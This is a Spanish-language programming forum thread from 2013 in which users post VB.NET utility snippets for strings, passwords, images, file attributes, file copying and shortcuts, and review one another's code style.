  1.    ' // By Elektro H@cker
  2.    '
  3.    ' USAGE:
  4.    '
  5.    ' MsgBox(String_Is_Email("User@Email.com"))
  6.  
  7. #Region " String Is Email Function "
  8.  
  9.    Private Function String_Is_Email(ByVal Email_String As String)
  10.        Dim Emaill_RegEx As New System.Text.RegularExpressions.Regex("^[A-Za-z0-9][A-Za-z0-9]+\@[A-Za-z0-9]+\.[A-Za-z0-9][A-Za-z0-9]+$")
  11.        If Emaill_RegEx.IsMatch(Email_String) Then Return True Else Return False
  12.    End Function
  13.  
  14. #End Region



Get Random Password

Código
  1.    ' USAGE:
  2.    '
  3.    ' MsgBox(Get_Random_Password(8))
  4.    ' MsgBox(Get_Random_Password(36))
  5.  
  6. #Region " Get Random Password Function "
  7.  
  8.    Public Function Get_Random_Password(ByVal Password_Length As Double) As String
  9.        Dim New_Password As String = System.Guid.NewGuid.ToString
  10.        If Password_Length <= 0 OrElse Password_Length > New_Password.Length Then
  11.            Throw New ArgumentException("Length must be between 1 and " & New_Password.Length)
  12.        End If
  13.        Return New_Password.Substring(0, Password_Length)
  14.    End Function
  15.  
  16. #End Region



Get Printers

Código
  1.    ' // By Elektro H@cker
  2.    '
  3.    ' USAGE:
  4.    '
  5.    '  For Each Printer_Name In Get_Printers() : MsgBox(Printer_Name) : Next
  6.  
  7.    Private Function Get_Printers()
  8.        Dim Printer_Array As New List(Of String)
  9.        Try
  10.            For Each Printer_Name As String In System.Drawing.Printing.PrinterSettings.InstalledPrinters : Printer_Array.Add(Printer_Name) : Next
  11.        Catch ex As Exception
  12.            If ex.Message.Contains("RPC") Then Return "RPC Service is not avaliable"
  13.        End Try
  14.        Return Printer_Array
  15.    End Function


Título: Re: [APORTE] Snippets (ACTUALIZADO 12/01/2013) Posteen aquí sus snippets!!
Publicado por: ABDERRAMAH en 13 Enero 2013, 15:45 pm
Pues yo tengo una colección de funciones para crear, cargar y superponer imágenes así como para escribir texto usando gdi+:

cargar una imágen en una resolución determinada:
Código
  1.  
  2. Public Function read_image_at_res(ByRef file As String, ByRef force_sizex As Integer, ByRef force_sizey As Integer) As System.Drawing.Bitmap
  3.        Dim img As New Bitmap(file)
  4.        Dim b As New Bitmap(force_sizex, force_sizey)
  5.        Dim bg As Graphics = Graphics.FromImage(b)
  6.        Try
  7.            bg.DrawImage(img, New Rectangle(New Point(0, 0), New Size(force_sizex, force_sizey)), New Rectangle(0, 0, img.Width, img.Height), GraphicsUnit.Pixel)
  8.        Catch ex As Exception
  9.  
  10.        End Try
  11.        bg.Dispose()
  12.        Return b
  13.    End Function
  14.  

redimensionar una imágen:
Código
  1.  
  2. Public Function resize_bmp(ByRef img As Bitmap, ByRef sizex As Integer, ByRef sizey As Integer) As Bitmap
  3.        Dim b As New Bitmap(sizex, sizey)
  4.        Dim bg As Graphics = Graphics.FromImage(b)
  5.        bg.DrawImage(img, New Rectangle(New Point(0, 0), New Size(sizex, sizey)), New Rectangle(0, 0, img.Width, img.Height), GraphicsUnit.Pixel)
  6.        bg.Dispose()
  7.        Return b
  8.    End Function
  9.  

superponer dos imágenes sobre un lienzo:
Código
  1.  
  2. Public Function layer_sum(ByRef layer1 As Bitmap, ByRef layer2 As Bitmap) As Bitmap
  3.        Dim bg As Graphics = Graphics.FromImage(layer1)
  4.        bg.DrawImage(layer2, New Point(0, 0))
  5.        bg.Dispose()
  6.        Return layer1
  7. End Function
  8.  

escribir texto plano(con sombreado rudimentario) en un fondo transparente:
Código
  1.  
  2.    Public Function get_text_layer(ByRef size As System.Drawing.Size, ByRef text As String) As System.Drawing.Bitmap
  3.        Dim img As New Bitmap(size.Width, size.Height)
  4.        Dim bg As Graphics = Graphics.FromImage(img)
  5.        bg.DrawString(text, New Font("Lucida Console", 12, FontStyle.Bold), Brushes.Gray, New Point(1, -1))
  6.        bg.DrawString(text, New Font("Lucida Console", 12, FontStyle.Bold), Brushes.White, New Point(0, 0))
  7.        bg.Dispose()
  8.        Return img
  9.    End Function
  10.  

dividir la imagen en sectores y devolver el indicado por "index":
Código
  1.  
  2.    Public Function get_portion(ByRef image As System.Drawing.Bitmap, ByRef cuadriculax As Short, ByRef cuadriculay As Short, ByRef index As Integer) As System.Drawing.Bitmap
  3.        Dim img As New Bitmap(CInt(image.Size.Width / cuadriculax), CInt(image.Size.Height / cuadriculay))
  4.        'Dim b As New Bitmap(CInt(image.Size.Width / cuadriculax), CInt(image.Size.Height / cuadriculay))
  5.        Dim bg As Graphics = Graphics.FromImage(img)
  6.        Dim xcount = 0
  7.        Dim ycount = 0
  8.        Do While index >= cuadriculax
  9.            index = index - cuadriculax
  10.            ycount = ycount + 1
  11.        Loop
  12.        xcount = index
  13.        Dim tmpx As Integer = CInt((image.Size.Width / cuadriculax) * xcount)
  14.        Dim tmpy As Integer = CInt((image.Size.Height / cuadriculay) * ycount)
  15.        Dim port As New Rectangle(New System.Drawing.Point(0, 0), New Size(New Point(CInt(image.Size.Width / cuadriculax), CInt(image.Size.Height / cuadriculay))))
  16.        bg.DrawImage(image, port, tmpx, tmpy, CInt(port.Size.Width), CInt(port.Size.Height), GraphicsUnit.Pixel)
  17.        bg.Dispose()
  18.        Return img
  19.    End Function
  20.  


Título: Re: [APORTE] Snippets (ACTUALIZADO 12/01/2013) Posteen aquí sus snippets!!
Publicado por: Eleкtro en 13 Enero 2013, 18:32 pm
@ABDERRAMAH

Muy buenos, el primero y el segundo me gustaron mucho, siempre tengo problemas para redimensionar imagenes y me viene bien.

El último también, es una idea muy dinámica lo de dividir la imagen en una cuadrícula y tomar un sector, no sé si eres el autor de las funciones pero a pocos se le habría ocurrido hacer algo así xD

Saludos!


Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: ABDERRAMAH en 13 Enero 2013, 21:38 pm
Soy autor, si, aunque la idea de crear el objeto graphics y después destruirlo, en lugar de tener uno fijo para todo la vi en unos códigos de msdn.


Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: Novlucker en 13 Enero 2013, 23:29 pm
Bueno, lo siguiente son sugerencias, críticas o comentarios sobre algunos de los snippets que has puesto en el post, así como algo más genérico sobre como estructuras tus métodos o funciones, y el código en general.

  • Es aconsejable declarar el tipo de retorno de las funciones en su declaración. Para alguien que no tiene claro el objetivo de una función es mucho más legible hacerlo de este modo, de lo contrario hay que revisar el código de la función en busca de los Return para darse cuenta de que la función retorna un booleano por ejemplo.

Código
  1. Private Function Funcion() As Boolean

  • Función Attrib. Ya que estás creando una función que te abstrae de verificar la existencia de un archivo y asignar atributos, tal vez lo mejor sería que la función reciba una lista de atributos en lugar de un atributo global. Es decir, en este caso al utilizar tu función es necesario pasar la suma de los atributos para que asigne varios (como en la función original), pero por que no abstraerse un poco más y olvidarse de la suma?

Código
  1.    Private Function Attrib(ByVal File As String, ByVal Attributes As List(Of System.IO.FileAttributes)) As Boolean
  2.        If IO.File.Exists(File) Then
  3.            Try
  4.                FileSystem.SetAttr(File, Attributes.Select(Function(a) DirectCast(a, Integer)).Sum())
  5.                Return True ' File was modified OK
  6.            Catch ex As Exception
  7.                ' MsgBox(ex.Message)
  8.                Return False ' File can't be modified maybe because User Permissions
  9.            End Try
  10.        Else
  11.            Return Nothing ' File doesn't exist
  12.        End If
  13.    End Function

  • "Controlar el mismo evento para varios controles". No es aconsejable tener un solo método con condiciones para cada control por separado, lo recomendado es tener un método por evento. Si necesitas realizar algo en específico para un control en especial, entonces asigna un método diferente al control.
  • Función ConvertToDiscSize. Si debes de pasar un string a una función, para luego tomar una decisión según se trate de un string u otro, debes de plantearte declarar un enumerador (esto mismo es aplicable a otras de tus funciones). Por otra parte, tampoco es recomendable tener todos los valores hardcodeados en un método, además de que estás repitiendo mucho código. A continuación una variante de la función reestructrada;

Código
  1. #Region " Convert To Disc Size function"
  2.  
  3. Private Function ConvertToDiscSize(ByVal fileSize As Double, ByVal fileKindSize As MagnitudeType, ByVal to_DiscKindCapacity As DiscType) As Double
  4.    Dim size As Double = GetSize(to_DiscKindCapacity)
  5.    If (size < 0) Then Throw New ArgumentException("Tamaño de disco no localizado")
  6.    Return fileSize * DirectCast(fileKindSize, Integer) / size
  7. End Function
  8.  
  9. Enum MagnitudeType
  10.    Bytes = 1
  11.    KB = 1024
  12.    MB = 1048576
  13.    GB = 1073741824
  14. End Enum
  15.  
  16. Enum DiscType
  17.    CD
  18.    CD800
  19.    CD900
  20.    DVD
  21.    DVD_DL
  22.    BR
  23.    BR_DL
  24.    BR_3L
  25.    BR_4L
  26.    BR_MD
  27.    BR_MD_DL
  28. End Enum
  29.  
  30. Private Function GetSize(ByVal discType As DiscType) As Double
  31.    Select Case discType
  32.        Case DiscType.CD
  33.            Return 737280000      ' CD Standard
  34.        Case DiscType.CD800
  35.            Return 829440393.216 ' CD 800 MB
  36.        Case DiscType.CD900
  37.            Return 912383803.392 ' CD 900 MB
  38.        Case DiscType.DVD
  39.            Return 4700000000 ' DVD Standard (DVD5
  40.        Case DiscType.DVD_DL
  41.            Return 8500000000 ' DVD Double Layer (DVD9)
  42.        Case DiscType.BR
  43.            Return 25025314816 ' BluRay Standard
  44.        Case DiscType.BR_DL
  45.            Return 50050629632 ' BluRay Double Layer
  46.        Case DiscType.BR_3L
  47.            Return 100103356416 ' BluRay x3 Layers
  48.        Case DiscType.BR_4L
  49.            Return 128001769472 ' BluRay x4 Layers
  50.        Case DiscType.BR_MD
  51.            Return 7791181824 ' BluRay MiniDisc Standard
  52.        Case DiscType.BR_MD_DL
  53.            Return 15582363648 ' BluRay MiniDisc Double Layer
  54.        Case Else
  55.            Return -1 ' Por si se declara un nuevo valor en el enumerador sin especificar tamaño
  56.    End Select
  57. End Function
  58.  
  59. #End Region

Creo que por el momento es todo lo que se me ocurre, en otro momento vuelvo a mirar :P

Saludos


Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 14 Enero 2013, 03:01 am
@Novlucker
Que grande,
antes de nada debo decir que para mi tus críticas o sugerencias (O ataques personales si se da el caos xD) son más que bien recibidas, y segundo, gracias por colocarle chincheta al tema (Quien haya sido xD), a ver si la gente se anima a compartir funciones/snippets.

Voy por partes:



1.
Sincéramente yo no le daba nada de importancia a definir el tipo de retorno de una función, ¿Porque?, pues no sé, quizás séa porque como muchas funciones las he hecho yo pues sé perfectamente que tipo de valor devuelven y no debo fijarme en esos detalles que comentas, o simplemente no le he dado importancia sin razón alguna, pero me lo has hecho ver de una manera en la que no me habia fijado, y te aseguro que estoy editando los 124 snippets definiendo el tipo de retorno de cada uno xD.

Lo malo de esto, es que si declaro el tipo en boolean (Por ejemplo), entonces ya no puedo retornar el mensaje de la excepción (Return ex.message), ¿O si?.



2.
Con tu modificación que le has hecho a la función de los atributos me has dejado loco!

Diréctamente no la entiendo...

Código:
Attributes.Select(Function(a) DirectCast(a, Integer)).Sum()
De ahí lo único que entiendo es que modificas el valor "a" a tipo entero (no se lo que significa esa "a"), lo de "Select", "Function", y "Sum, ni idea XD

Bueno, el método "Sum" ya he visto que crea una sequencia parecida a esto:
Código:
32 + 64
Lo que equivale a los valores para cambiar los atributos, vale, pero el proceso que haces para llegar a generar esa secuencia... ni idea :xD.

Lo peor de todo es que no sé usar tu modificación de la función de atributos, es muy avanzada '¬¬

Así que mientras no me muestres un ejemplo de como usar tu función, la dejo así, que está mejor que la versión original y se asemeja al comando ATTRIB de la CMD, lo que me facilita un poco más su uso:

Código
  1. #Region " Change File Attributes Function "
  2.  
  3.    ' [ Change File Attributes Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' Change_File_Attributes("C:\File.txt", H + R)
  9.    ' Change_File_Attributes("C:\File.txt", Hidden + Read_Only)
  10.  
  11.    Const Archive As Integer = 32, A As Integer = 32
  12.    Const Directory As Integer = 16, D As Integer = 16
  13.    Const Hidden As Integer = 2, H As Integer = 2
  14.    Const Normal As Integer = 0, N As Integer = 0
  15.    Const Read_Only As Integer = 1, R As Integer = 1
  16.    Const System As Integer = 4, S As Integer = 4
  17.    Const Volume As Integer = 8, V As Integer = 8
  18.  
  19.    Private Function Change_File_Attributes(ByVal File As String, ByVal Attributes As System.IO.FileAttributes) As Boolean
  20.        If IO.File.Exists(File) Then
  21.            Try
  22.                FileSystem.SetAttr(File, Attributes)
  23.                Return True ' File was modified OK
  24.            Catch
  25.                Return False ' File can't be modified maybe because User Permissions
  26.            End Try
  27.        Else
  28.            Return Nothing ' File doesn't exist
  29.        End If
  30.    End Function
  31.  
  32. #End Region



3.
Tu modificación de la función de las capacidades de discos es inmejorable,
Me doy cuenta que tengo que usar más las constantes y las enumeraciones si quiero perfeccionar y simplificar las cosas (Si te digo la verdad pensé que esa función no se podía simplificar más, hasta que he visto tu modificación xDDD, me kawen tó)


Gracias por los consejos y un saludo
 


Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: Novlucker en 14 Enero 2013, 03:52 am
@Novlucker
Que grande,
antes de nada debo decir que para mi tus críticas o sugerencias (O ataques personales si se da el caos xD) son más que bien recibidas
Mientras no pienses que es un ataque, la idea es que puedas mejorar :P

Lo malo de esto, es que si declaro el tipo en boolean (Por ejemplo), entonces ya no puedo retornar el mensaje de la excepción (Return ex.message), ¿O si?.
En realidad no es posible. Por lo general cuando es necesario hacer eso se debe de retornar un objeto Result (o clase similar creada por ti). Algo así por ejemplo;
Código
  1. Public Class Result
  2.    Public ReturnValue as Boolean
  3.    Public Message as String
  4. End Class
Si esta todo ok, se asigna el valor a ReturnValue y se deja el Message vacío, sino se hace lo contrario.
De cualquier modo, lo habitual es simplemente hacer un throw de la exception, las propias funciones del .NET Framework lo hacen por ejemplo. Por decir algo más y siguiendo con .NET, en C# por ejemplo no puedes declarar un método/función sin tipo de retorno y luego retornar algo.

Código
  1. Attributes.Select(Function(a) DirectCast(a, Integer)).Sum()
De ahí lo único que entiendo es que modificas el valor "a" a tipo entero (no se lo que significa esa "a"), lo de "Select", "Function", y "Sum, ni idea XD
Para acortar un poco usé LINQ con una expresión lambda :P, la explicación es la siguiente;
  • Attributes es una lista, por lo cual puedo aplicar LINQ
  • Por cada item "a" de la lista, lo casteo a Integer. Esto es porque el enumerador FileAttributes contiene los valores para estos
  • Dado que ahora tengo una lista de Integer, los puedo sumar con Sum

2 ejemplos de uso;
Código
  1. Attrib("D:\\archivo.txt", New List(Of System.IO.FileAttributes)(New System.IO.FileAttributes() {System.IO.FileAttributes.Hidden, System.IO.FileAttributes.ReadOnly}))
Código
  1. Dim atributos As List(Of System.IO.FileAttributes) = New List(Of IO.FileAttributes)
  2. atributos.Add(System.IO.FileAttributes.Hidden)
  3. atributos.Add(System.IO.FileAttributes.ReadOnly)
  4. Attrib("D:\\archivo.txt", atributos)
Me doy cuenta que tengo que usar más las constantes y las enumeraciones si quiero perfeccionar y simplificar las cosas (Si te digo la verdad pensé que esa función no se podía simplificar más, hasta que he visto tu modificación xDDD, me kawen tó)
La idea era justamente de que vieras que no hay que perder de vista la legibilidad del código, y que puedes mejorar en eso :)

Saludos


Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 14 Enero 2013, 08:09 am
Para convertir un string a lower,upper,wordcase o titlecase, con opción de invertir el string

Código
  1. #Region " String To Case Function "
  2.  
  3.    ' [ String To Case Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    '
  9.    ' MsgBox(String_To_Case("ThiS is A TeST", StringCase.Lower))
  10.    ' MsgBox(String_To_Case("ThiS is A TeST", StringCase.Upper))
  11.    ' MsgBox(String_To_Case("ThiS is A TeST", StringCase.Word))
  12.    ' MsgBox(String_To_Case("ThiS is A TeST", StringCase.Title))
  13.    ' MsgBox(String_To_Case("ThiS is A TeST", StringCase.Title, True))
  14.  
  15.    Enum StringCase
  16.        Lower
  17.        Upper
  18.        Title
  19.        Word
  20.    End Enum
  21.  
  22.    Public Function String_To_Case(ByVal Input_String As String, ByVal StringCase As StringCase, Optional ByVal Reverse As Boolean = False) As String
  23.        If Not Input_String = Nothing And Not Input_String = "" Then
  24.            Dim Output_String As String = Nothing
  25.            Select Case StringCase
  26.                Case StringCase.Lower : Output_String = System.Globalization.CultureInfo.CurrentCulture.TextInfo.ToLower(Input_String)
  27.                Case StringCase.Upper : Output_String = System.Globalization.CultureInfo.CurrentCulture.TextInfo.ToUpper(Input_String)
  28.                Case StringCase.Title : Output_String = Char.ToUpper(Input_String(0)) + StrConv(Input_String.Substring(1), VbStrConv.Lowercase)
  29.                Case StringCase.Word : Output_String = System.Globalization.CultureInfo.CurrentCulture.TextInfo.ToTitleCase(Input_String)
  30.            End Select
  31.            If Reverse Then Return Microsoft.VisualBasic.StrReverse(Output_String) Else Return Output_String
  32.        Else : Return False ' Any string to convert
  33.        End If
  34.    End Function
  35.  
  36. #End Region


Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 15 Enero 2013, 05:05 am
Make Dir, para crear directorios con opción de añadir atributos.

Código
  1. #Region " Make Dir Function "
  2.  
  3.    ' [ Make Dir Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    '
  9.    ' MsgBox(MakeDir("C:\Test"))
  10.  
  11.    Private Function Make_Dir(ByVal Path As String, Optional ByVal Attributes As System.IO.FileAttributes = IO.FileAttributes.Normal)
  12.        If My.Computer.FileSystem.DirectoryExists(Path) Then Return Nothing ' Directory already exists
  13.        Try
  14.            My.Computer.FileSystem.CreateDirectory(Path) ' Create directory
  15.            If Not Attributes = IO.FileAttributes.Normal Then My.Computer.FileSystem.GetDirectoryInfo(Path).Attributes = Attributes ' Apply Folder Attributes
  16.            Return True ' Directory is created OK
  17.        Catch ex As Exception
  18.            Return False ' Can't create the directory maybe because user permissions
  19.            ' Return ex.Message
  20.        End Try
  21.    End Function
  22.  
  23. #End Region
Copy File , para copiar archivos, con opción de crear el directorio si no existe, opción de reemplazar archivos, y opcion de aplicar atributos al archivo.

Código
  1. #Region " Copy File Function "
  2.  
  3.    ' [ Copy File Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    '
  9.    ' MsgBox(Copy_File("C:\File.txt", "C:\Test\")) ' Standard copy
  10.    ' MsgBox(Copy_File("C:\File.txt", "C:\Test\", True)) ' Create the directory if doesn't exists
  11.    ' MsgBox(Copy_File("C:\File.txt", "C:\Test\", , True)) ' Replace any existing file
  12.    ' MsgBox(Copy_File("C:\File.txt", "C:\Test\", , , IO.FileAttributes.Hidden + IO.FileAttributes.ReadOnly)) ' Apply new attributes
  13.  
  14.    Private Function Copy_File(ByVal File As String, ByVal Target_Path As String, _
  15.                               Optional ByVal Force_Target_Path As Boolean = False, Optional ByVal Force_File_Replace As Boolean = False, _
  16.                               Optional ByVal Attributes As System.IO.FileAttributes = IO.FileAttributes.Normal)
  17.  
  18.        Dim File_Information = My.Computer.FileSystem.GetFileInfo(File) ' Get Input File Information
  19.  
  20.        ' Directory
  21.        If Not Force_Target_Path And Not My.Computer.FileSystem.DirectoryExists(Target_Path) Then
  22.            Return False ' Target Directory don't exists
  23.        ElseIf Force_Target_Path Then
  24.            Try
  25.                My.Computer.FileSystem.CreateDirectory(Target_Path) ' Create directory
  26.            Catch ex As Exception
  27.                'Return False
  28.                Return ex.Message ' Directory can't be created maybe beacuse user permissions
  29.            End Try
  30.        End If
  31.  
  32.        ' File
  33.        Try
  34.            My.Computer.FileSystem.CopyFile(File, Target_Path & "\" & File_Information.Name, Force_File_Replace) ' Copies the file
  35.            If Not Attributes = IO.FileAttributes.Normal Then My.Computer.FileSystem.GetFileInfo(Target_Path & "\" & File_Information.Name).Attributes = Attributes ' Apply File Attributes
  36.            Return True ' File is copied OK
  37.        Catch ex As Exception
  38.            'Return False
  39.            Return ex.Message ' File can't be created maybe beacuse user permissions
  40.        End Try
  41.    End Function
  42.  
  43. #End Region


Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 15 Enero 2013, 07:11 am
Crea un acceso directo a una aplicación o a una página web, con muchas opciones.

Código
  1. #Region " Create ShortCut Function "
  2.  
  3.    ' [ Create ShortCut Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    '
  9.    ' Create_ShortCut(ShortcutPath.MyDocuments, "My APP Shortcut.lnk", "C:\File.exe")
  10.    ' Create_ShortCut(ShortcutPath.Desktop, "My CMD Shortcut.lnk", "CMD.exe", "/C Echo Hello World & Pause")
  11.    ' Create_ShortCut(ShortcutPath.Favorites, "My INTERNET Shortcut.lnk", "http://www.Google.com", , "CTRL+SHIFT+S")
  12.    ' Create_ShortCut(ShortcutPath.Favorites, "My INTERNET Shortcut.lnk", "http://www.Google.com", , "CTRL+SHIFT+S", "Description of the shortcut")
  13.  
  14.    Enum ShortcutPath
  15.        AppData = Environment.SpecialFolder.ApplicationData
  16.        Desktop = Environment.SpecialFolder.Desktop
  17.        Favorites = Environment.SpecialFolder.Favorites
  18.        LocalAppData = Environment.SpecialFolder.LocalApplicationData
  19.        MyDocuments = Environment.SpecialFolder.MyDocuments
  20.        ProgramFiles = Environment.SpecialFolder.ProgramFiles
  21.        ProgramFilesx86 = Environment.SpecialFolder.ProgramFilesX86
  22.        StartMenu = Environment.SpecialFolder.StartMenu
  23.        System32 = Environment.SpecialFolder.System
  24.        SysWOW64 = Environment.SpecialFolder.SystemX86
  25.        UserProfile = Environment.SpecialFolder.UserProfile
  26.        Windows = Environment.SpecialFolder.Windows
  27.    End Enum
  28.  
  29.    Function Create_ShortCut(ByVal Shortcut_Path As ShortcutPath, _
  30.                            ByVal Shortcut_Name As String, _
  31.                            ByVal APP As String, _
  32.                            Optional ByVal APP_Arguments As String = Nothing, _
  33.                            Optional ByVal HotKey As String = Nothing, _
  34.                            Optional ByVal Icon As String = Nothing, _
  35.                            Optional ByVal Description As String = Nothing) As Boolean
  36.  
  37.        Dim Dir = New IO.DirectoryInfo(System.Environment.GetFolderPath(Shortcut_Path))
  38.        Dim WorkingDir As IO.FileInfo
  39.        If Not APP.Contains("/") Then WorkingDir = New IO.FileInfo(APP) Else WorkingDir = Nothing
  40.        Try
  41.            Dim WSHShell As Object = CreateObject("WScript.Shell")
  42.            Dim Shortcut As Object
  43.            Shortcut = WSHShell.CreateShortcut(Dir.FullName & "\" & Shortcut_Name)
  44.            Shortcut.TargetPath = APP
  45.            Shortcut.Arguments = APP_Arguments
  46.            Shortcut.WindowStyle = 2
  47.            Shortcut.Hotkey = HotKey
  48.            Shortcut.Description = Description
  49.            If Not APP.Contains("/") Then Shortcut.WorkingDirectory = WorkingDir.DirectoryName
  50.            If Icon IsNot Nothing Then Shortcut.IconLocation = Icon Else Shortcut.IconLocation = APP
  51.            Shortcut.Save()
  52.            Return True
  53.        Catch ex As Exception
  54.            Return False
  55.        End Try
  56.    End Function
  57.  
  58. #End Region


Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 15 Enero 2013, 07:33 am
He añadido, ordenado, y mejorado bastantes snippets del pack de snippets, el nuevo enlace está en el comentario principal.

 
Función para eliminar atributos de un archivo, preservando el resto de atributos.

Código
  1. #Region " File Remove Attribute Function "
  2.  
  3.    ' [ File Remove Attribute Function ]
  4.    '
  5.    ' Examples :
  6.    '
  7.    ' MsgBox(File_Remove_Attribute("C:\Test.txt", FileAttribute.ReadOnly))
  8.    ' MsgBox(File_Remove_Attribute("C:\Test.txt", FileAttribute.ReadOnly + FileAttribute.Hidden))
  9.  
  10.    Public Function File_Remove_Attribute(ByVal File As String, ByVal Remove_Attribute As FileAttribute) As Boolean
  11.        Try
  12.            Dim FileAttributes As FileAttribute = IO.File.GetAttributes(File)
  13.            IO.File.SetAttributes(File, FileAttributes And Not Remove_Attribute)
  14.            Return True
  15.        Catch ex As Exception
  16.            Return False
  17.        End Try
  18.    End Function
  19.  
  20. #End Region


Función para añadir atributos a un archivo, preservando el resto de atributos.

Código
  1. #Region " File Add Attribute Function "
  2.  
  3.    ' [ File Add Attribute Function ]
  4.    '
  5.    ' Examples :
  6.    '
  7.    ' MsgBox(File_Add_Attribute("C:\Test.txt", FileAttribute.ReadOnly))
  8.    ' MsgBox(File_Add_Attribute("C:\Test.txt", FileAttribute.ReadOnly + FileAttribute.Hidden))
  9.  
  10.    Public Function File_Add_Attribute(ByVal File As String, ByVal Add_Attribute As FileAttribute) As Boolean
  11.        Try
  12.            Dim FileAttributes As FileAttribute = IO.File.GetAttributes(File)
  13.            IO.File.SetAttributes(File, FileAttributes Or Add_Attribute)
  14.            Return True
  15.        Catch ex As Exception
  16.            Return False
  17.        End Try
  18.    End Function
  19.  
  20. #End Region

Función que comprueba si un archivo tiene un atributo

Código
  1. #Region " File Have Attribute Function "
  2.  
  3.    ' [ File Have Attribute Function ]
  4.    '
  5.    ' Examples :
  6.    '
  7.    ' MsgBox(File_Have_Attribute("C:\Test.txt", FileAttribute.ReadOnly))
  8.    ' MsgBox(File_Have_Attribute("C:\Test.txt", FileAttribute.ReadOnly + FileAttribute.Hidden))
  9.  
  10.    Public Function File_Have_Attribute(ByVal File As String, ByVal CheckAttribute As FileAttribute) As Boolean
  11.        Try
  12.            Dim FileAttributes As FileAttribute = IO.File.GetAttributes(File)
  13.            If (FileAttributes And CheckAttribute) = CheckAttribute Then Return True Else Return False
  14.        Catch ex As Exception
  15.            Return Nothing
  16.        End Try
  17.  
  18.    End Function
  19.  
  20. #End Region


Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 15 Enero 2013, 20:48 pm
Oscurecer una imagen a escala de grises (Disable image)

PD: He retocado la función original para añadirle opción de elegir distintos tonos de gris, me ha quedado bastante bien.

Código
  1. #Region " GrayScale Image Function "
  2.  
  3.    ' [ GrayScale Image Function ]
  4.    '
  5.    ' Examples:
  6.    '
  7.    ' PictureBox1.Image = GrayScale_Image(PictureBox1.Image, GrayScale.Light_Gray)
  8.    ' PictureBox1.Image = GrayScale_Image(PictureBox1.Image, GrayScale.Mid_Gray)
  9.    ' PictureBox1.Image = GrayScale_Image(PictureBox1.Image, GrayScale.Dark_Gray)
  10.  
  11.    Enum GrayScale
  12.        Light_Gray
  13.        Mid_Gray
  14.        Dark_Gray
  15.    End Enum
  16.  
  17.    Private Function GrayScale_Image(ByVal Image As Image, ByVal Gray_Tone As GrayScale) As Bitmap
  18.        Dim Image_Bitmap As Bitmap = New Bitmap(Image.Width, Image.Height)
  19.        Dim Image_Graphic As Graphics = Graphics.FromImage(Image_Bitmap)
  20.        Dim Color_Matrix As System.Drawing.Imaging.ColorMatrix = Nothing
  21.        Select Case Gray_Tone
  22.            Case GrayScale.Light_Gray : Color_Matrix = New System.Drawing.Imaging.ColorMatrix(New Single()() {New Single() {0.2, 0.2, 0.2, 0, 0}, New Single() {0.2, 0.2, 0.2, 0, 0}, New Single() {0.5, 0.5, 0.5, 0, 0}, New Single() {0, 0, 0, 1, 0}, New Single() {0, 0, 0, 0, 1}})
  23.            Case GrayScale.Mid_Gray : Color_Matrix = New System.Drawing.Imaging.ColorMatrix(New Single()() {New Single() {0, 0, 0, 0, 0}, New Single() {0, 0, 0, 0, 0}, New Single() {0.5, 0.5, 0.5, 0, 0}, New Single() {0, 0, 0, 1, 0}, New Single() {0, 0, 0, 0, 1}})
  24.            Case GrayScale.Dark_Gray : Color_Matrix = New System.Drawing.Imaging.ColorMatrix(New Single()() {New Single() {0, 0, 0, 0, 0}, New Single() {0, 0, 0, 0, 0}, New Single() {0.2, 0.2, 0.2, 0, 0}, New Single() {0, 0, 0, 1, 0}, New Single() {0, 0, 0, 0, 1}})
  25.        End Select
  26.        Dim Image_Attributes As System.Drawing.Imaging.ImageAttributes = New System.Drawing.Imaging.ImageAttributes()
  27.        Image_Attributes.SetColorMatrix(Color_Matrix)
  28.        Image_Graphic.DrawImage(Image, New Rectangle(0, 0, Image.Width, Image.Height), 0, 0, Image.Width, Image.Height, GraphicsUnit.Pixel, Image_Attributes)
  29.        Image_Graphic.Dispose()
  30.        Return Image_Bitmap
  31.    End Function
  32.  
  33. #End Region


Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: ABDERRAMAH en 16 Enero 2013, 06:45 am
Interesante!

Podrías también, si quieres, pasar la imágen por referencia, como hago yo. Ésto es para no duplicarla, así trabajamos sobre la misma imágen de entrada. Ahorra memoria aunque realizará el cambio aunque no hagamos:

img = grayscale_image(img,grayscale.mid_gray)


Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: spiritdead en 16 Enero 2013, 07:44 am
Interesante!

Podrías también, si quieres, pasar la imágen por referencia, como hago yo. Ésto es para no duplicarla, así trabajamos sobre la misma imágen de entrada. Ahorra memoria aunque realizará el cambio aunque no hagamos:

img = grayscale_image(img,grayscale.mid_gray)

en vez de usar 1 function usa 1 sub ....


Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 16 Enero 2013, 19:15 pm
Podrías también, si quieres, pasar la imágen por referencia, como hago yo. Ésto es para no duplicarla, así trabajamos sobre la misma imágen de entrada. Ahorra memoria aunque realizará el cambio aunque no hagamos:

No conocía esos beneficios de ByRef, gracias!


Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: Novlucker en 16 Enero 2013, 20:20 pm
No conocía esos beneficios de ByRef, gracias!
Tienes que intentar mejorar tus conceptos  :¬¬ es algo bastante básico


Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 16 Enero 2013, 20:38 pm
Tienes que intentar mejorar tus conceptos  :¬¬ es algo bastante básico

